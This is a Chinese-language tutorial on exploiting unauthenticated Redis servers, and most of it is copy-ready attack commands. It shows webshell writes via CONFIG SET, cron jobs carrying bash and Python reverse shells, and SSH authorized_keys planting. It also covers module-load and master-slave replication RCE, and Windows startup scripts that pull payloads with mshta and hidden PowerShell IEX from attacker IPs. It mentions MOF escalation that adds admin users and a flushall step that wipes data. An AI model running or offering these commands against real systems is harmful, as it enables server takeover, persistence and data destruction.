漏洞利用原理

未授权:默认情况下,redis直接绑定在0.0.0.0:6379上,并且默认情况下密码会为空,此时若服务器上没有对访问ip,端口进行限制,设置密码等措施,那么此时攻击者可以未授权访问redis,轻则获取到redis内的数据,重则可以配合redis其他漏洞取得服务器权限,需要注意的是redis3.2版本后新增 protected-mode 配置,默认是 yes,即开启,外部网络无法连接 redis 服务;在复现时可以编辑 redis.conf 文件,注释掉 bind 127.0.0.1, 将 protected-mode 修改为 no 启动redis-server ./src/redis-server
dir:设置快照文件的存放路径,这个配置项一定是个目录,而不能是文件名。使用上面的 dbfilename 作为保存的文件名。
dbfilename:设置快照的文件名,默认是 dump.rdb
我们可以通过set来修改其dbfilename以及dir从而把我们的shell写入目标机。

利用一:写webshell

1
2
3
4
5
6
7
8
192.168.242.129:6379> config set dir c:phpstudy_proWWW
OK
192.168.242.129:6379> config set dbfilename hack.php
OK
192.168.242.129:6379> set x "<?php phpinfo();?>"
OK
192.168.242.129:6379> save
OK

回到win10上看一下会发现写入成功,只是多了一些杂数据, 但并不会影响马儿的运行.

利用二:写定时任务

  • /var/spool/cron/目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名,如/var/spool/cron/root
  • /etc/crontab这个文件负责调度各种管理和维护任务。
1
2
3
4
set x "n* * * * * bash -i >& /dev/tcp/ip/port 0>&1n"
config set dir /var/spool/cron/
config set dbfilename root
save

反弹方式不限于bash,如python:

1
*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

利用三:写ssh

条件比较苛刻,需要root权限启动redis,且机器允许密钥登陆。

1
2
3
4
5
6
7
8
192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x " AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx"
OK
192.168.63.130:6379> save
OK

网上的文章中可能会有多一句flushall在最前面,因为可能当前redis已经存在足够多的key了,所以如果写入webshell或者定时任务的话会导致文件大小超出如php所能容纳的最大大小,因此通常来说都会加多这么一句,当然了后果就是redis内的键值对都删掉了(如果数据重要的话影响很大)。

利用四:模块加载rce

redis4.0以上区别于以下版本在于其多出一个模块,允许我们加载外部的so文件,通过在配置文件中设置(loadmodule /path/to/mymodule.so)/使用module load(MODULE LOAD /path/to/mymodule.so)命令加载so文件,实现在redis内执行我们的自定义命令,可以理解为我们可以自写插件来扩展redis的功能。

1
2
module load /data/exp.so
system.exec "id"

利用五:主从复制RCE

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。
并且从节点也可以设置为其他节点的主节点,此时就达成了一个集群。

1
2
//从节点要复制主节点则使用命令:
slaveof ip port

redis4.0以下可以通过主从复制把shell写入键值中。

配合模块加载rce

先前在模块加载rce中我们成功利用模块加载执行任意命令;那么我们在主从中,master加载了so文件后,从机通过同步也会将master的so文件同步到slave上并加载,从而让我们达成rce,但这里想要加载so文件的话需要一个全量复制才会将我们的模块文件发送到slave上。
实际上可以模拟其服务端构建一个恶意服务端将我们的so文件通过主从复制同步到目标机器中达成rce。
原理:

1
2
3
4
5
6
7
#启用服务器上的nc监听一个端口
#然后我们的redis用slaveof命令指定为我们的服务器+端口,然后我们就会收到redis的请求:
*1 #*1表示以空格割的属性个数
$4 #$4表示PING的长度为4
PING

#如果向其回复+OK,就会有一系列回复

利用脚本:https://github.com/n0b0dyCN/redis-rogue-server

其他操作

Windows

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#windows下的开机启动项的目录为
#C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
redis 192.168.1.101:6379>config set dir “C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/“
OK
redis 192.168.1.101:6379> CONFIG SET dbfilename 1.bat
OK
#反弹shell
set x "\r\n\r\nmshta http://10.107.10.77:8080/123\r\n\r\n"
OK
#CS上线
redis 192.168.1.101:6379>set x “rnrnpowershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘http://192.168.1.105:80/a’))”rnrn”
OK
redis 192.168.1.101:6379> save
OK
#这边有个小细节,由于Start Menu之间有空格,因此需要用双引号将路径包含。

#写入MOF
#由于不能重启机器也无法获取web目录,想到Mof提权,不过也是有环境限制只能为win2003
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
#也就是说在c:/windows/system32/wbem/mof/目录下的mof文件会每5秒自动执行一次,这样就不需要重启机器就能获取权限了。